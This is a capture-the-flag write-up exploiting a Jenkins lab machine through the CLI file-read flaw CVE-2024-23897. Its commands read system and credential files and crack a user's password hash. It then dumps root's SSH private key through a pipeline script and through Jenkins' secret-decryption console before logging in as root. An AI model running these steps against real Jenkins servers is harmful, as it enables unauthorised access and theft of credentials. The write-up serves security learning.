Builder is a Linux machine running a version of Jenkins with an arbitrary file read vulnerability via the CLI (CVE-2024-23897). This vulnerability can be exploited to extract a password hash for a user, which can then be cracked to gain access to the Jenkins instance. Privilege escalation can be achieved in two ways: first, by exposing the root SSH key through a pipeline script, and second, by decrypting an SSH key stored in the global credentials. The retrieved key allows SSH login as root
.
nmap
scan:
┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ nmap -sC -sV -oA nmap/output 10.10.11.10
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-26 10:04 EDT
Nmap scan report for 10.10.11.10
Host is up (0.051s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
8080/tcp open http Jetty 10.0.18
|_http-title: Dashboard [Jenkins]
|_http-server-header: Jetty(10.0.18)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
| http-robots.txt: 1 disallowed entry
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.73 seconds
I visited the Jenkins instance at http://10.10.11.10:8080
:
As shown in the bottom right of the page above, the installed version is Jenkins 2.441
. According to this security advisory from Jenkins, version 2.441
is affected by CVE-2024-23897, an arbitrary file read vulnerability through the CLI that can lead to RCE.
The security advisory notes that Jenkins uses the args4j
library to handle CLI command arguments, which includes a feature that replaces an @
followed by a file path with the file's contents. This feature is enabled by default and remains active in Jenkins versions 2.441
and earlier, including LTS 2.426.2
and earlier.
So next, I needed to get the CLI client. The Jenkins documentation here states that it can be downloaded directly from the Jenkins controller at the URL JENKINS_URL/jnlpJars/jenkins-cli.jar
:
┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ wget 10.10.11.10:8080/jnlpJars/jenkins-cli.jar
--2024-08-26 10:07:49-- http://10.10.11.10:8080/jnlpJars/jenkins-cli.jar
Connecting to 10.10.11.10:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3623400 (3.5M) [application/java-archive]
Saving to: ‘jenkins-cli.jar’
jenkins-cli.jar 100%[=========================>] 3.46M 2.03MB/s in 1.7s
2024-08-26 10:07:50 (2.03 MB/s) - ‘jenkins-cli.jar’ saved [3623400/3623400]
Once jenkins-cli.jar
was downloaded, running help
listed the available commands:
┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ java -jar jenkins-cli.jar -s http://10.10.11.10:8080 help
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
add-job-to-view
Adds jobs to view.
build
Builds a job, and optionally waits until its completion.
cancel-quiet-down
Cancel the effect of the "quiet-down" command.
clear-queue
Clears the build queue.
connect-node
Reconnect to a node(s)
console
Retrieves console output of a build.
<...snip...>
who-am-i
Reports your credential and permissions.
For example, who-am-i
showed that I was authenticated as anonymous
:
┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ java -jar jenkins-cli.jar -s http://10.10.11.10:8080 who-am-i
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Authenticated as: anonymous
Authorities:
anonymous
To exploit the arbitrary file read vulnerability, I used the help
command followed by '@/etc/passwd'
which revealed the first line of /etc/passwd
:
┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ java -jar jenkins-cli.jar -s http://10.10.11.10:8080 help '@/etc/passwd'
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help [COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
I could view environment variables by reading /proc/self/environ
:
┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ java -jar jenkins-cli.jar -s http://10.10.11.10:8080 help '@/proc/self/environ'
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
<...snip...>
ERROR: No such command HOSTNAME=0f52c222a4ccJENKINS_UC_EXPERIMENTAL=https://updates.jenkins.io/experimentalJAVA_HOME=/opt/java/openjdkJENKINS_INCREMENTALS_REPO_MIRROR=https://repo.jenkins-ci.org/incrementalsCOPY_REFERENCE_FILE_LOG=/var/jenkins_home/copy_reference_file.logPWD=/JENKINS_SLAVE_AGENT_PORT=50000JENKINS_VERSION=2.441HOME=/var/jenkins_homeLANG=C.UTF-8JENKINS_UC=https://updates.jenkins.ioSHLVL=0JENKINS_HOME=/var/jenkins_homeREF=/usr/share/jenkins/refPATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin. Available commands are above.
In the above output, the HOME
and JENKINS_HOME
environment variables were set to /var/jenkins_home
.
Jenkins stores basic user information such as usernames and the corresponding directory names in $JENKINS_HOME/users/users.xml
. So in this case, it was /var/jenkins_home/users/users.xml
, however, only the first line was printed when trying to read the file with the help
command:
┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ java -jar jenkins-cli.jar -s http://10.10.11.10:8080 help '@/var/jenkins_home/users/users.xml'
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
ERROR: Too many arguments: <hudson.model.UserIdMapper>
java -jar jenkins-cli.jar help [COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: <?xml version='1.1' encoding='UTF-8'?>)
After trying some different commands, I found that connect-node
printed several more lines, revealing the directory name jennifer_12108429903186576833
for the user jennifer
:
┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ java -jar jenkins-cli.jar -s http://10.10.11.10:8080 connect-node '@/var/jenkins_home/users/users.xml'
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
<?xml version='1.1' encoding='UTF-8'?>: No such agent "<?xml version='1.1' encoding='UTF-8'?>" exists.
<string>jennifer_12108429903186576833</string>: No such agent " <string>jennifer_12108429903186576833</string>" exists.
<idToDirectoryNameMap class="concurrent-hash-map">: No such agent " <idToDirectoryNameMap class="concurrent-hash-map">" exists.
<entry>: No such agent " <entry>" exists.
<string>jennifer</string>: No such agent " <string>jennifer</string>" exists.
<version>1</version>: No such agent " <version>1</version>" exists.
</hudson.model.UserIdMapper>: No such agent "</hudson.model.UserIdMapper>" exists.
</idToDirectoryNameMap>: No such agent " </idToDirectoryNameMap>" exists.
<hudson.model.UserIdMapper>: No such agent "<hudson.model.UserIdMapper>" exists.
</entry>: No such agent " </entry>" exists.
Within Jenkins, more detailed user data could be found in:
$JENKINS_HOME/users/<user_directory_name>/config.xml
So I used the connect-node
command to read config.xml
for the user jennifer
which contained a password hash:
┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ java -jar jenkins-cli.jar -s http://10.10.11.10:8080 connect-node '@/var/jenkins_home/users/jennifer_12108429903186576833/config.xml'
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
<...snip...>
<?xml version='1.1' encoding='UTF-8'?>: No such agent "<?xml version='1.1' encoding='UTF-8'?>" exists.
<fullName>jennifer</fullName>: No such agent " <fullName>jennifer</fullName>" exists.
<seed>6841d11dc1de101d</seed>: No such agent " <seed>6841d11dc1de101d</seed>" exists.
<id>jennifer</id>: No such agent " <id>jennifer</id>" exists.
<version>10</version>: No such agent " <version>10</version>" exists.
<tokenStore>: No such agent " <tokenStore>" exists.
<filterExecutors>false</filterExecutors>: No such agent " <filterExecutors>false</filterExecutors>" exists.
<io.jenkins.plugins.thememanager.ThemeUserProperty plugin="theme-manager@215.vc1ff18d67920"/>: No such agent " <io.jenkins.plugins.thememanager.ThemeUserProperty plugin="theme-manager@215.vc1ff18d67920"/>" exists.
<passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>: No such agent " <passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>" exists.
ERROR: Error occurred while performing this command, see previous stderr output.
I used JtR
to crack the password:
┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
princess (#jbcrypt)
1g 0:00:00:00 DONE (2024-08-26 10:11) 3.125g/s 112.5p/s 112.5c/s 112.5C/s 123456..liverpool
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
With the credentials, I signed in to the Jenkins instance as the user jennifer
:
There are two ways to escalate privileges on this machine, one is by revealing the private SSH key for root
through a pipeline script, and the other is decrypting the private SSH key for root
from the global credentials.
Priv Esc Method: Pipeline Script
An SSH private key credential for root
was stored in Dashboard
→ Manage Jenkins
→ Credentials
→ System
→ Global credentials (unrestricted)
:
To check the installed plugins, I went to Dashboard
→ Manage Jenkins
→ Plugins
→ Installed Plugins
and found SSH Agent Plugin
:
The SSH Agent Plugin
is designed to manage the use of SSH credentials within a Jenkins job, allowing for commands to be run over SSH during the build process. This could be leveraged to print the private SSH key for the root
user. To do this, first I went to the Dashboard page and created a job:
I chose the Pipeline
option:
On the configuration page, I added the following Pipeline script:
node {
stage('SSH') {
sshagent(['1']) {
sh 'ssh -o StrictHostKeyChecking=no root@10.10.11.10 "cat /root/.ssh/id_rsa"'
}
}
}
I clicked Save
, and on the following page, Build Now
:
Once the build completed, I clicked on it in Build History
:
Then, I viewed the Console Output
:
The SSH key was printed in the output:
I saved the key as root.key
, changed the permissions to 600
, and logged in over SSH:
┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ chmod 600 root.key
┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ ssh -i root.key root@10.10.11.10
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-94-generic x86_64)
<...snip...>
root@builder:~# whoami
root
Priv Esc Method: Decrypt Key from Global credentials
As shown in the previous method, an SSH private key credential for root
was stored in Dashboard
→ Manage Jenkins
→ Credentials
→ System
→ Global credentials (unrestricted)
. I clicked update:
On the Update credentials
page, there was a Private Key section with a key that was concealed for confidentiality:
Inspecting the element in dev tools revealed the encrypted key:
I copied the value from the encrypted key above and went to Dashboard
→ Manage Jenkins
→ Script Console
. Then, I used the hudson.util.Secret.decrypt()
method to decrypt the key:
println(hudson.util.Secret.decrypt("{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}"))
Same as the first method, the key could then be used to log in over SSH.